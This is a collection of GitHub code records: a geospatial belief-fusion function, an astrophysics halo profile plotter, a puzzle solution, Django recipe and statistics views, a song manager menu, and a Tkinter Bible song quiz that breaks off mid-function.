osm_beliefs = lu_polygons[[\"g_osm\", \"n_osm\", \"gn_osm\"]]\n\n    # Convert data to mass functions\n    ndvi_mass = convert_to_mass(ndvi_beliefs)\n    osm_mass = convert_to_mass(osm_beliefs)\n\n    ndvi_osm_mass = fuse_masses(ndvi_mass, osm_mass)\n\n    # Classify based on beliefs\n    class_ndvi_osm = classify_mass(ndvi_osm_mass)\n\n    class_ndvi_osm_geo = gpd.GeoDataFrame(\n        class_ndvi_osm.join(lu_polygons.loc[:, \"geometry\"])\n    )\n    class_ndvi_osm_geo.crs = lu_polygons.crs\n    class_ndvi_osm_geo = class_ndvi_osm_geo[[\"green\", \"grey\", \"green_grey\", \"geometry\"]]\n    class_ndvi_osm_geo.to_file(out_file)\n\n    return class_ndvi_osm_geo\n","repo_name":"redfrexx/green_index","sub_path":"modules/fusion.py","file_name":"fusion.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11374711302","text":"import numpy as np\nimport pylab as plt\nimport os,asciitable\nimport haloutils,sheetplot\n\nfrom profilefit import NFWprofile,fitNFW\n\nclass ProfileReader(sheetplot.ReaderBase):\n    def __init__(self,whichtype,ictype=\"BB\",nv=4):\n        self.whichtype = whichtype\n        if whichtype == 0: \n            self.filename = 'rs-halo-profile.dat'\n            plotextra = 'rockstarnosubs'\n        elif whichtype == 1: \n            self.filename = 'rs-halo-profile-allpart.dat'\n            plotextra = 'rockstarall'\n        elif whichtype == 2: \n            self.filename = 'subf-halo-profile.dat'\n            plotextra = 'subfind'\n        elif whichtype == 3: \n            self.filename = 'subf-halo-profile-radius.dat'\n            plotextra = 'subfindradius'\n        else: raise ValueError(\"whichtype must be 0,1,2,3\")\n        assert ictype.upper() in [\"BB\",\"BE\",\"BC\"]\n        self.ictype = ictype\n        self.nv = nv\n\n    def __call__(self,hid):\n        ictype = self.ictype; nv = self.nv\n        lxlist = self.get_lxlist(hid)\n        rlist = []; rholist = []; p03rlist = []\n        rvirlist = []; r200clist = []\n        for lx in lxlist:\n            thisfilename = self.get_filename(hid,lx)\n            data = np.array(asciitable.read(thisfilename,delimiter=\" \",data_start=1))\n            rlist.append(1000.*data['col1'])\n            rholist.append(data['col2'])\n            f = open(thisfilename,'r')\n            p03r,rvir,r200c,halomass = f.readline().split(\" \")\n            p03r = 1000.*float(p03r); rvir = float(rvir); r200c = float(r200c)\n            f.close()\n            p03rlist.append(p03r); rvirlist.append(rvir)\n            r200clist.append(r200c)\n        return hid,lxlist,rlist,rholist,p03rlist,rvirlist,r200clist\n\nclass ProfilePlotter(sheetplot.PlotterBase):\n    def __init__(self,whichtype):\n        self.whichtype = whichtype\n        if whichtype == 0: \n            self.filename = 'rs-halo-profile.dat'\n            plotextra = 'rockstarnosubs'\n        elif whichtype == 1: \n            self.filename = 'rs-halo-profile-allpart.dat'\n            plotextra = 'rockstarall'\n        elif whichtype == 2: \n            self.filename = 'subf-halo-profile.dat'\n            plotextra = 'subfind'\n        elif whichtype == 3: \n            self.filename = 'subf-halo-profile-radius.dat'\n            plotextra = 'subfindradius'\n        else: raise ValueError(\"whichtype must be 0,1,2,3\")\n        self.fprefix = 'rhor2'\n        self.fpostfix= plotextra\n    def __call__(self,ax,data,fignum=None,**kwargs):\n        hid,lxlist,rlist,rholist,p03rlist,rvirlist,r200clist = data\n        ymin = 10**-1.5; ymax = 10**2.5\n        ax.set_xscale('log'); ax.set_yscale('log')\n        for i,lx in enumerate(lxlist):\n            color = self.colordict[lx]\n            r = rlist[i]; rho = rholist[i]\n            p03r = p03rlist[i]; rvir = rvirlist[i]; r200c = r200clist[i]\n            ax.plot(r,(r/1000.)**2 * rho, color=color, **kwargs)\n            ax.plot([p03r,p03r],[ymin,ymax],color=color,ls='--',**kwargs)\n            ax.plot([rvir,rvir],[ymin,ymax],'k-.')\n            ax.plot([r200c,r200c],[ymin,ymax],'k:')\n\n            good_r = (r > p03r) & (r < rvir)\n            rs,rhos = fitNFW(r[good_r],rho[good_r],x0=[20,6],bounds=[(1,300),(4,8)])\n            ax.plot(r,(r/1000.)**2 * NFWprofile(r,rs,rhos),ls=':',lw='0.5',**kwargs)\n\n            yexponent = 1.3 + 0.2*(14-lx)\n            ax.text(10**-1.8,10**yexponent,r\"LX%i $r_s=$%3.2f kpc\" % (lx,rs),\n                    color=color,fontsize='x-small')\n\n        ax.set_xlabel(r'r [$h^{-1}$ kpc]')\n        ax.set_ylabel(r'$r^2 \\rho(r)$ [$10^{10} M_\\odot$ Mpc$^{-1}$]')\n        ax.set_xlim([10**-2,10**3])\n        ax.set_ylim([ymin,ymax])\n        plotlabel = haloutils.hidstr(hid)\n        ax.text(10**-1.8,10**2.2,plotlabel,color='black',fontsize='small')\n        \n","repo_name":"caterpillarproject/analysis","sub_path":"profiles/ProfilePlotter.py","file_name":"ProfilePlotter.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3594338383","text":"import sys\ninput = sys.stdin.readline\nnum = int(input())\n\nH = []\nfor i in range(num):\n    H.append(list(map(int, input().split())))\n\nfor i in range(1,num):\n    H[i][0] = min(H[i-1][1], H[i-1][2]) + H[i][0]\n    H[i][1] = min(H[i-1][0], H[i-1][2]) + H[i][1]\n    H[i][2] = min(H[i-1][0], H[i-1][1]) + H[i][2]\nprint(min(H[num-1]))\n\n\n    \n\n    \n\n\n\n\n","repo_name":"Lee-JaeWon/Algorithm-Problem-Solving","sub_path":"Python/1000~2000/1149.py","file_name":"1149.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23662117507","text":"from django.db.models import F, Sum\r\nfrom django.http import HttpResponse\r\nfrom django.shortcuts import get_object_or_404\r\nfrom django_filters.rest_framework import DjangoFilterBackend\r\nfrom ingredients.models import IngredientsAmount\r\nfrom rest_framework import permissions, status, viewsets\r\nfrom rest_framework.decorators import action\r\nfrom rest_framework.response import Response\r\n\r\nfrom .filter import RecipeFilter\r\nfrom .models import Favorite, Recipes, ShoppingCart\r\nfrom .permissions import IsAuthorOrReadOnly\r\nfrom .serializers import (RecipesCreateSerializer, RecipesReadSerializer,\r\n                          ShortRecipeSerializer)\r\n\r\n\r\nclass RecipesViewSet(viewsets.ModelViewSet):\r\n    queryset = Recipes.objects.all()\r\n    permission_classes = (IsAuthorOrReadOnly, )\r\n    filter_backends = (DjangoFilterBackend,)\r\n    filterset_class = RecipeFilter\r\n\r\n    def get_serializer_class(self):\r\n        if self.request.method in permissions.SAFE_METHODS:\r\n            return RecipesReadSerializer\r\n        return RecipesCreateSerializer\r\n\r\n    def perform_create(self, serializer):\r\n        serializer.save(author=self.request.user)\r\n\r\n    def perform_update(self, serializer):\r\n        serializer.save(author=self.request.user)\r\n\r\n    def add(self, model, user, pk):\r\n        \"\"\"Добавление рецепта в списки\"\"\"\r\n        recipe = get_object_or_404(Recipes, pk=pk)\r\n        model.objects.create(user=user, recipe=recipe)\r\n        serializer = ShortRecipeSerializer(recipe)\r\n        return Response(serializer.data, status=status.HTTP_201_CREATED)\r\n\r\n    def delete_relation(self, model, user, pk):\r\n        \"\"\"\"Удаление рецепта из списков\"\"\"\r\n        recipe = get_object_or_404(Recipes, pk=pk)\r\n        relation = model.objects.filter(user=user, recipe=recipe)\r\n        relation.delete()\r\n        return Response(status=status.HTTP_204_NO_CONTENT)\r\n\r\n    def metod(self, request, model, pk=None):\r\n        \"\"\"Логика удалить/добавить\"\"\"\r\n        user = request.user\r\n        model = model\r\n        if request.method == 'POST':\r\n            return self.add(model, user, pk)\r\n        if request.method == 'DELETE':\r\n            return self.delete_relation(model, user, pk)\r\n\r\n    @action(\r\n        methods=['post', 'delete'],\r\n        detail=True,\r\n    )\r\n    def favorite(self, request, pk=None):\r\n        \"\"\"Добавление и удаление Избранное.\"\"\"\r\n        return self.metod(request, Favorite, pk)\r\n\r\n    @action(\r\n        methods=['post', 'delete'],\r\n        detail=True,\r\n    )\r\n    def shopping_cart(self, request, pk=None):\r\n        \"\"\"Добавление и удаление в Список покупок.\"\"\"\r\n        return self.metod(request, ShoppingCart, pk)\r\n\r\n    @action(\r\n        methods=['get'],\r\n        detail=False,\r\n    )\r\n    def download_shopping_cart(self, request):\r\n        \"\"\"Формирование и скачивание списка покупок.\"\"\"\r\n        shopping_list = IngredientsAmount.objects.filter(\r\n            recipes__shoppingcart__user=request.user\r\n        ).values(\r\n            name=F('ingredient__name'),\r\n            measurement_unit=F('ingredient__measurement_unit')\r\n        ).annotate(amount=Sum('amount')).values_list(\r\n            'ingredient__name', 'amount', 'ingredient__measurement_unit'\r\n        )\r\n        data = ''.join(\r\n            f'{key} - {value} - {unit}\\n' for key, value, unit in shopping_list\r\n        )\r\n        return HttpResponse(data, content_type='text/plain')\r\n","repo_name":"aoamosova/foodgram-project-react","sub_path":"backend/recipes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25755451300","text":"from functions import save_songs, search_title_song, search_year_songs\nfrom classes import ManagerSongs\n\n\ngerenciador = ManagerSongs()\n\noptions = [\n        {\"choice\": \"1\", \"action\": save_songs},\n        {\"choice\": \"2\", \"action\": search_title_song},\n        {\"choice\": \"3\", \"action\": search_year_songs},\n        {\"choice\": \"4\", \"action\": gerenciador.random_playlist},\n]\n\nis_finished = False\n\nwhile not is_finished:\n    opcoes = input(\n        \"Bem-vindo ao Gerenciador de Músicas. O que deseja? \\n [1] - Cadastrar Música \\n [2] - Buscar Música Pelo Título \\n [3] - Buscar Músicas Pelo ano \\n [4] - Gerar Playlist Aleatória \\n [5] - Sair \\n\"\n    )\n\n    for option in options:\n        if option[\"choice\"] == opcoes:\n            option[\"action\"]()\n        if opcoes == '5':\n            is_finished = True\n\nprint(\"Fim do Programa!\")\n","repo_name":"gbmsaraujo/gerenciador-musicas","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73960327120","text":"from django.views.generic import TemplateView, ListView\nfrom site_stats.models import TotalStats, UserGuessesNumber\nfrom matches.models import UserPredictions\nfrom matches.models import EventDates\nfrom django.utils import timezone\nimport datetime\nfrom django.contrib.auth import get_user_model\n# for fusion charts\nfrom fusioncharts.fusioncharts import FusionCharts\n\n\nclass StatsTextStatsView(TemplateView):\n    template_name = 'site_stats/text-stats.html'\n\n    def get_context_data(self, **kwargs):\n        # return data from total\n        context = super().get_context_data()\n        all_stats = TotalStats.objects.all().order_by('-created_date')\n        user_most_match_states = UserGuessesNumber.objects.all().order_by('-guessed_matches')[0]\n        user_most_results = UserGuessesNumber.objects.all().order_by('-guessed_results')[0]\n        latest_stats = all_stats[0]\n        # convert created date into Sofia time\n        timezone_sofia = timezone.get_default_timezone()\n        utc_created_time = timezone.utc.localize(latest_stats.created_date, is_dst=None)\n        sofia_created_time = utc_created_time.astimezone(timezone_sofia)\n        # add some context\n        context['total_predicioons'] = latest_stats.total_predictions\n        context['total_points_gained'] = latest_stats.total_points_gained\n        context['total_match_states_guessed'] = latest_stats.total_match_states_guessed\n        context['total_match_results_guessed'] = latest_stats.total_match_results_guessed\n        context['date'] = sofia_created_time\n        context['user_most_match_states'] = user_most_match_states\n        context['user_most_match_states_id'] = user_most_match_states.user.id\n        context['user_most_results'] = user_most_results\n        context['user_most_results_id'] = user_most_results.user.id\n\n        return context\n\n\nclass CommonChartsBaseByDays(TemplateView):\n    # not to be used alone. Base for other stats classes\n    # Determines dates range\n    # Sets graphics\n    template_name = 'site_stats/stats-common.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        all_events = EventDates.objects.all()\n        event_dates = {item.event_name: [item.event_start_date, item.event_end_date,\n                                         (item.event_end_date - item.event_start_date).days] for item in\n                       all_events}\n\n        data_source = {}\n        data_source['chart'] = {\n            \"labelFontSize\": 12,\n            \"theme\": \"zune\"\n        }\n        data_source['data'] = []\n        context['data_source'] = data_source\n        context['event_dates'] = event_dates\n        return context\n\n\nclass CommonPredictionChart(CommonChartsBaseByDays):\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        graph_name = 'Дадени прогнози по дни'\n        event_dates = context['event_dates']\n        data_source = context['data_source']\n        data_source['data'] = []\n        for item in event_dates.values():\n            start_date = item[0]\n            difference = item[2]\n            for day in range(difference + 1):\n                query_date = start_date + datetime.timedelta(days=day)\n                day_prediction_count = UserPredictions.objects.filter(match__match_date=query_date).count()\n                legend_date = str(query_date).split('-')[2] + \".\" + str(query_date).split('-')[1]\n                temp_dict = {\n                    \"label\": str(legend_date),\n                    \"value\": day_prediction_count,\n                }\n                data_source['data'].append(temp_dict)\n            break\n            # only first event will be shown. If we have to add future stats for multiple events this should be changed accordingly\n        column2d = FusionCharts(\"column2d\", \"ex1\", \"1000\", \"600\", \"chart-1\", \"json\", data_source)\n        context['output'] = column2d.render()\n        context['graph_name'] = graph_name\n        return context\n\n\nclass CommonPointsChart(CommonChartsBaseByDays):\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        graph_name = 'Спечелени точки по дни'\n        event_dates = context['event_dates']\n        data_source = context['data_source']\n        data_source['data'] = []\n        for item in event_dates.values():\n            start_date = item[0]\n            end_date = item[1]\n            difference = item[2]\n            for day in range(difference + 1):\n                query_date = start_date + datetime.timedelta(days=day)\n                day_points_objects = UserPredictions.objects.filter(match__match_date=query_date).values_list(\n                    'points_gained', flat=True)\n                points_sum = sum(day_points_objects)\n                legend_date = str(query_date).split('-')[2] + \".\" + str(query_date).split('-')[1]\n                temp_dict = {\n                    \"label\": str(legend_date),\n                    \"value\": points_sum,\n                }\n                data_source['data'].append(temp_dict)\n            break\n            # only first event will be shown. If we have to add future stats for multiple events this should be changed accordingly\n\n        column2d = FusionCharts(\"column2d\", \"ex1\", \"1000\", \"600\", \"chart-1\", \"json\", data_source)\n        context['graph_name'] = graph_name\n        context['output'] = column2d.render()\n        return context\n\n\nclass AllUsersListView(ListView):\n    model = get_user_model()\n    ordering = ('username')\n    template_name = 'site_stats/user-selector.html'\n    context_object_name = 'all_users'\n\n\nclass UserGraphsView(CommonChartsBaseByDays):\n    template_name = 'site_stats/user-graphs.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data()\n        user_id = self.kwargs['pk']\n        username = get_user_model().objects.get(id=user_id).username\n        event_dates = context['event_dates']\n        data_source_points = dict(context['data_source'])\n        data_source_points['data'] = []\n        data_source_predictions = dict(context['data_source'])\n        data_source_predictions['data'] = []\n        # get predictions for user\n        for item in event_dates.values():\n            start_date = item[0]\n            difference = item[2]\n            for day in range(difference + 1):\n                query_date = start_date + datetime.timedelta(days=day)\n                day_prediction_count = UserPredictions.objects.filter(user_id=user_id,\n                                                                      match__match_date=query_date).count()\n                legend_date = str(query_date).split('-')[2] + \".\" + str(query_date).split('-')[1]\n                temp_dict = {\n                    \"label\": str(legend_date),\n                    \"value\": day_prediction_count,\n                }\n                data_source_predictions['data'].append(temp_dict)\n            break\n        column2d_predictions = FusionCharts(\"column2d\", \"ex1\", \"1000\", \"600\", \"chart-predictions\", \"json\",\n                                            data_source_predictions)\n        context['graph_name_predictions'] = f'Прогнози по дни за {username}'\n        context['output_predictions'] = column2d_predictions.render()\n\n        # get user points by days\n        for item in event_dates.values():\n            start_date = item[0]\n            difference = item[2]\n            for day in range(difference + 1):\n                query_date = start_date + datetime.timedelta(days=day)\n                day_points_objects = UserPredictions.objects.filter(match__match_date=query_date,\n                                                                    user_id=user_id).values_list(\n                    'points_gained', flat=True)\n                points_sum = sum(day_points_objects)\n                legend_date = str(query_date).split('-')[2] + \".\" + str(query_date).split('-')[1]\n                temp_dict = {\n                    \"label\": str(legend_date),\n                    \"value\": points_sum,\n                }\n                data_source_points['data'].append(temp_dict)\n            break\n        column2d_points = FusionCharts(\"column2d\", \"ex2\", \"1000\", \"600\", \"chart-points\", \"json\", data_source_points)\n        context['graph_name_points'] = f'Точки по дни за {username}'\n        context['output_points'] = column2d_points.render()\n\n        return context\n","repo_name":"maddrum/world_cup_results","sub_path":"site_stats/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39520162629","text":"#! /usr/bin/env python3\n\n# Import necessary python modules\nimport random\nfrom random import randint\n\nfrom tkinter import *\n\nfrom PIL import ImageTk, Image\n\nfrom pydub import AudioSegment\nfrom pydub.playback import play\n\n# Create program window\nroot = Tk()\nroot.title(\"Bible Quiz!\")\nroot.geometry(\"900x800\")\nroot.config(bg='gray90')\nroot.resizable(1, 1)\n\n# Create Menu\nmy_menu = Menu(root)\nroot.config(menu=my_menu)\n\n# Create global variables for score tracking\nglobal correct\ncorrect = 0\nglobal total\ntotal = 0\n\n\ndef songs_jesus_ransom_answer():\n    \n    # Reference global variables for score tracking\n    global correct\n    global total\n    \n    # Define action for correct answer\n    if song_jesus_ransom_radio.get() == songs_jesus_ransom_titles[answer]:\n        response = (\"Correct! \" + songs_jesus_ransom_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n        correct += 1\n    \n    # Define action for incorrect answer\n    else:\n        response = (\"Incorrect! \" + songs_jesus_ransom_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n    \n    total += 1\n            \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Update labels with each answer        \n    answer_label_songs_jesus_ransom.config(text=response)\n    running_score_label.config(text=r_score)\n\n    \ndef all_songs_answer():\n\n    # Reference global variables for score tracking\n    global correct\n    global total\n    \n    if all_songs_radio.get() == all_songs_titles[answer]:\n        response = (\"Correct! \" + all_songs_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n        correct += 1    \n        \n    else:\n        response = (\"Incorrect! \" + all_songs_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n    \n    total += 1\n    \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n            \n    answer_label_all_songs.config(text=response)\n    running_score_label.config(text=r_score)\n\n\ndef songs_jah_answer():\n\n    # Reference global variables for score tracking\n    global correct\n    global total\n    \n    if song_radio.get() == songs_jah_titles[answer]:\n        response = (\"Correct! \" + songs_jah_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n        correct += 1\n        \n    else:\n        response = (\"Incorrect! \" + songs_jah_titles[answer] + \n            \" is Song Number \" + answer + \".\")\n            \n    total += 1\n    \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n            \n    answer_label_songs_jah.config(text=response)\n    running_score_label.config(text=r_score)\n\n\ndef bible_books_quiz_answer():\n\n    global correct\n    global total\n    \n    if bible_books_quiz_radio.get() == bible_books_quiz_titles[answer]:\n        response = (\"Correct! \" + bible_books_quiz_titles[answer] + \n            \" is Bible Book Number \" + answer + \".\")\n        correct += 1\n        \n    else:\n        response = (\"Incorrect! \" + bible_books_quiz_titles[answer] + \n            \" is Bible Book Number \" + answer + \".\")\n    \n    total += 1\n    \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n            \n    answer_label_bible_books_quiz.config(text=response)\n    running_score_label.config(text=r_score)\n\n\ndef bible_writers_answer():\n\n    global correct\n    global total\n    \n    if bible_writers_radio.get() == bible_writers_titles[answer]:\n        response = (\"Correct! \" + bible_writers_titles[answer] + \n            \" is the author of \" + answer + \".\")\n        correct += 1\n        \n    else:\n        response = (\"Incorrect! \" + bible_writers_titles[answer] + \n            \" is the author of \" + answer + \".\")\n    \n    total += 1\n    \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n            \n    answer_label_bible_writers.config(text=response)\n    running_score_label.config(text=r_score)\n\n\n# Create function for handling scripture answers\ndef scrips_answer():\n    \n    # Reference global variables for score tracking\n    global correct\n    global total\n    \n    # Define action for correct answer\n    if scrips_radio.get() == scrips_text[answer]:\n        response = (\"Correct! \" + scrips_text[answer] +\n                    \" is the correct verse!\")\n        correct += 1\n    \n    # Define action for incorrect answer    \n    else:\n        response = (\"Incorrect! \" + scrips_text[answer] +\n                    \" is the correct verse!\")\n    total += 1\n    \n    # Create score text for label\n    r_score = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Update labels with each answer\n    answer_label_scrips.config(text=response)\n    running_score_label.config(text=r_score)\n\n\ndef songs_jah():\n    \n    # Hide previous frames\n    hide_all_frames()\n    songs_jah_frame.pack(fill=\"both\", expand=1)\n    \n    # my_label = Label(songs_jah_frame, text=\"Songs About Jah\").pack()\n    \n    global show_songs_jah\n    show_songs_jah = Label(songs_jah_frame)\n    show_songs_jah.pack(pady=15)\n    \n    global songs_jah_nums\n    songs_jah_nums = [\n        '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12',\n        ]\n        \n    global songs_jah_titles\n    songs_jah_titles = {\n        '1':\"Jehovah's Attributes\",\n        '2':\"Jehovah Is Your Name\",\n        '3':\"Our Strength, Our Hope, Our Confidence\",\n        '4':\"Jehovah Is My Shepherd\",\n        '5':\"God's Wondrous Works\",\n        '6':\"The Heavens Declare God's Glory\",\n        '7':\"Jehovah, Our Strength\",\n        '8':\"Jehovah Is Our Refuge\",\n        '9':\"Jehovah Is Our King\",\n        '10':\"Praise Jehovah Our God!\",\n        '11':\"Creation Praises God\",\n        '12':\"Great God, Jehovah\",\n        }\n        \n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(songs_jah_nums)-1)\n    \n    global answer\n    answer = songs_jah_nums[rand_num]\n    \n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n    \n    # Generate four random song numbers\n    while count < 5:\n        rand_num = randint(0, len(songs_jah_nums)-1)\n        \n        # If first selection, make it our answer\n        if count == 1:\n            answer = songs_jah_nums[rand_num]\n            global song_label\n            song_label = Label(songs_jah_frame, \n                text=(\"What is the title of Song Number \" + \n                songs_jah_nums[rand_num] + \"?\"), \n                font=\"Helvetica 18 bold\", fg='DarkOrchid4', bg='gray90')\n            song_label.pack(pady=15)\n            \n        # Add first selection to our list\n        answer_list.append(songs_jah_nums[rand_num])\n        \n        # Remove answer from list\n        songs_jah_nums.remove(songs_jah_nums[rand_num])\n        \n        # Shuffle original list\n        random.shuffle(songs_jah_nums)\n        \n        count += 1\n    \n    file_path = \"music/\"\n    if len(answer) == 1:\n        song_answer = '00' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    elif len(answer) == 2:\n        song_answer = '0' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    else:\n        music_file = file_path + \"sjjm_E_\" + answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    \n    random.shuffle(answer_list)\n    \n    global song_radio\n    song_radio = StringVar()\n    song_radio.set(songs_jah_titles[answer_list[0]])\n    \n    song_radio_button1 = Radiobutton(songs_jah_frame, bg='gray90', \n        text=songs_jah_titles[answer_list[0]], variable=song_radio, \n        value=songs_jah_titles[answer_list[0]]).pack()\n\n    song_radio_button1 = Radiobutton(songs_jah_frame, bg='gray90', \n        text=songs_jah_titles[answer_list[1]], variable=song_radio, \n        value=songs_jah_titles[answer_list[1]]).pack()\n        \n    song_radio_button1 = Radiobutton(songs_jah_frame, bg='gray90', \n        text=songs_jah_titles[answer_list[2]], variable=song_radio, \n        value=songs_jah_titles[answer_list[2]]).pack()\n        \n    song_radio_button1 = Radiobutton(songs_jah_frame, bg='gray90', \n        text=songs_jah_titles[answer_list[3]], variable=song_radio, \n        value=songs_jah_titles[answer_list[3]]).pack()                \n\n    # Add a \"next\" button\n    next_button = Button(songs_jah_frame, text=\"Next Song\", command=songs_jah, \n        bg='gray90')\n    next_button.pack(pady=15)\n    \n    # Create a button to answer\n    song_answer_button = Button(songs_jah_frame, text=\"Answer\",\n        command=songs_jah_answer, bg='gray90')\n    song_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(songs_jah_frame, text=\"Clear Score\", command=clscore, \n        bg='gray90')\n    score_button.pack(pady=15)\n    \n    # Create answer label for correct / incorrect\n    global answer_label_songs_jah\n    answer_label_songs_jah = Label(songs_jah_frame, text=\"\",\n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    answer_label_songs_jah.pack(pady=15)\n    \n    # Create score text for keeping track of score\n    r_score_text = \"Score: \" + str(correct) + \" out of \" + str(total)\n    \n    # Create score label for keeping track of score\n    global running_score_label\n    running_score_label = Label(songs_jah_frame, text=r_score_text, \n        font=\"Helvetica 20 bold\", fg='DarkOrchid4', bg='gray90')\n    running_score_label.pack(pady=10)            \n\n\ndef songs_jesus_ransom():\n    \n    # Hide previous frames\n    hide_all_frames()\n    songs_jesus_ransom_frame.pack(fill=\"both\", expand=1)\n    \n    # my_label = Label(songs_jah_frame, text=\"Songs About Jah\").pack()\n    \n    global show_songs_jesus_ransom\n    show_songs_jesus_ransom = Label(songs_jesus_ransom_frame)\n    show_songs_jesus_ransom.pack(pady=15)\n    \n    global songs_jesus_ransom_nums\n    songs_jesus_ransom_nums = [\n        '13', '14', '15', '16', '17', '18', '19', '20',\n        ]\n        \n    global songs_jesus_ransom_titles\n    songs_jesus_ransom_titles = {\n        '13':\"Christ Our Model\",\n        '14':\"Praising Earth's New King\",\n        '15':\"Praise Jehovah's Firstborn!\",\n        '16':\"Praise Jah for His Son, the Anointed\",\n        '17':\"I Want To\",\n        '18':\"Grateful for the Ransom\",\n        '19':\"The Lord's Evening Meal\",\n        '20':\"You Gave Your Precious Son\",\n        }\n        \n    # Generate Random Number\n    global rand_num\n    rand_num = randint(0, len(songs_jesus_ransom_nums)-1)\n    \n    global answer\n    answer = songs_jesus_ransom_nums[rand_num]\n    \n    # Create empty answer list and counter\n    answer_list = []\n    count = 1\n    \n    # Generate four random song numbers\n    while count < 5:\n        rand_num = randint(0, len(songs_jesus_ransom_nums)-1)\n        \n        # If first selection, make it our answer\n        if count == 1:\n            answer = songs_jesus_ransom_nums[rand_num]\n            global song_label\n            song_label = Label(songs_jesus_ransom_frame, \n                text=(\"What is the title of Song Number \" + \n                songs_jesus_ransom_nums[rand_num] + \"?\"), \n                font=\"Helvetica 18 bold\", fg='DarkOrchid4', bg='gray90')\n            song_label.pack(pady=15)\n            \n        # Add first selection to our list\n        answer_list.append(songs_jesus_ransom_nums[rand_num])\n        \n        # Remove answer from list\n        songs_jesus_ransom_nums.remove(songs_jesus_ransom_nums[rand_num])\n        \n        # Shuffle original list\n        random.shuffle(songs_jesus_ransom_nums)\n        \n        count += 1\n    \n    file_path = \"music/\"\n    if len(answer) == 1:\n        song_answer = '00' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    elif len(answer) == 2:\n        song_answer = '0' + str(answer)\n        music_file = file_path + \"sjjm_E_\" + song_answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n    else:\n        music_file = file_path + \"sjjm_E_\" + answer + \".mp3\"\n        # print(music_file)\n        song = AudioSegment.from_mp3(music_file)\n        ten_secs = song[:10000]\n        play(ten_secs)\n        \n    random.shuffle(answer_list)\n    \n    global song_jesus_ransom_radio\n    song_jesus_ransom_radio = StringVar()\n    song_jesus_ransom_radio.set(songs_jesus_ransom_titles[answer_list[0]])\n    \n    song_jesus_ransom_radio_button1 = Radiobutton(songs_jesus_ransom_frame, \n        bg='gray90', text=songs_jesus_ransom_titles[answer_list[0]], \n        variable=song_jesus_ransom_radio, \n        value=songs_jesus_ransom_titles[answer_list[0]]).pack()\n\n    song_jesus_ransom_radio_button1 = Radiobutton(songs_jesus_ransom_frame, \n        bg='gray90', text=songs_jesus_ransom_titles[answer_list[1]], \n        variable=song_jesus_ransom_radio, \n        value=songs_jesus_ransom_titles[answer_list[1]]).pack()\n        \n    song_jesus_ransom_radio_button1 = Radiobutton(songs_jesus_ransom_frame, \n        bg='gray90', text=songs_jesus_ransom_titles[answer_list[2]], \n        variable=song_jesus_ransom_radio, \n        value=songs_jesus_ransom_titles[answer_list[2]]).pack()\n        \n    song_jesus_ransom_radio_button1 = Radiobutton(songs_jesus_ransom_frame, \n        bg='gray90', text=songs_jesus_ransom_titles[answer_list[3]], \n        variable=song_jesus_ransom_radio, \n        value=songs_jesus_ransom_titles[answer_list[3]]).pack()                \n\n    # Add a \"next\" button\n    next_button = Button(songs_jesus_ransom_frame, text=\"Next Song\", \n        command=songs_jesus_ransom, bg='gray90')\n    next_button.pack(pady=15)\n    \n    # Create a button to answer\n    song_jesus_ransom_answer_button = Button(songs_jesus_ransom_frame, \n        text=\"Answer\", command=songs_jesus_ransom_answer)\n    song_jesus_ransom_answer_button.pack(pady=15)\n    \n    # Add a button to clear the score if desired\n    score_button = Button(songs_jesus_ransom_frame, text=\"Clear Score\", \n        command=clscore, bg='gray90')\n    score_button.pack(pady=15)\n    \n    # Create answer label for correct / incorrect\n    global answer_label_songs_jesus_ransom\n    